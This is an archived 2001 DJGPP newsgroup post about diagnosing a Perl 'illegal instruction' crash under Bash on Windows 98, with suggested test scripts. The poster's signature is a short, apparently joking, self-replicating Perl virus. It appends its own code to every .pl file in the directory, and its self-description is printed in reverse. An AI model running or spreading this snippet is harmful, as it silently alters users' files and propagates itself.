delorie.com/archives/browse.cgi   search  
Mail Archives: djgpp/2001/03/04/04:51:33

From: rpolzer AT web DOT de (Rudolf Polzer)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: Penalty for immature language (PERL/BASH)
References: <Pine DOT SUN DOT 3 DOT 91 DOT 1010301105018 DOT 4534L-100000 AT is> <Pine DOT SOL DOT 4 DOT 21 DOT 0103012025260 DOT 2223-100000 AT holyrood DOT ed DOT ac DOT uk> <8011-Fri02Mar2001123210+0200-eliz AT is DOT elta DOT co DOT il> <Pine DOT SOL DOT 4 DOT 21 DOT 0103031936520 DOT 28520-100000 AT holyrood DOT ed DOT ac DOT uk>
X-newsgroup: comp.os.msdos.djgpp
X-Mailer: GehtDichNenScheissdreckAn 1.0
User-Agent: GehtDichNenScheissdreckAn 1.0
Message-ID: <slrn9a41be.sp.rpolzer@rebounce.rpolzer-lx>
User-Agent: slrn/0.9.6.2 (Linux)
Date: Sun, 4 Mar 2001 10:05:50 +0100
Lines: 41
NNTP-Posting-Host: 213.7.27.132
X-Trace: 983696171 news.freenet.de 23181 213.7.27.132
X-Complaints-To: abuse AT freenet DOT de
To: djgpp AT delorie DOT com
DJ-Gateway: from newsgroup comp.os.msdos.djgpp
Reply-To: djgpp AT delorie DOT com

Daniel Barker <sokal AT holyrood DOT ed DOT ac DOT uk> schrieb Folgendes:
> On Fri, 2 Mar 2001, Eli Zaretskii wrote:
> 
> [snip]
> 
> > Does a plain `$_` (i.e. without the loop) work, or does it crash as
> > well?
> 
> I find the program may be reduced to
> 
> `poo`
> 
> and it still shows the same problem.
> 
> > What happens if you run your Perl script from COMMAND.COM, not from
> > Bash?
> 
> I still see an "illegal instruction" crash. Windows 98 attributes this to
> MS-DOS Prompt rather than BASH.
> 
> I should emphasize this problem is not a "showstopper" for me. But the
> problem with this little example may indicate something more seriously
> wrong (on my system, at least).

Try putting something else into poo.pl:

#!/usr/bin/perl
print "POO.PL executed";

or

#!/usr/bin/perl
use constant C1 => 999;

and then try to leave out the shebangs.

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

- Raw text -


  webmaster     delorie software   privacy  
  Copyright © 2019   by DJ Delorie     Updated Jul 2019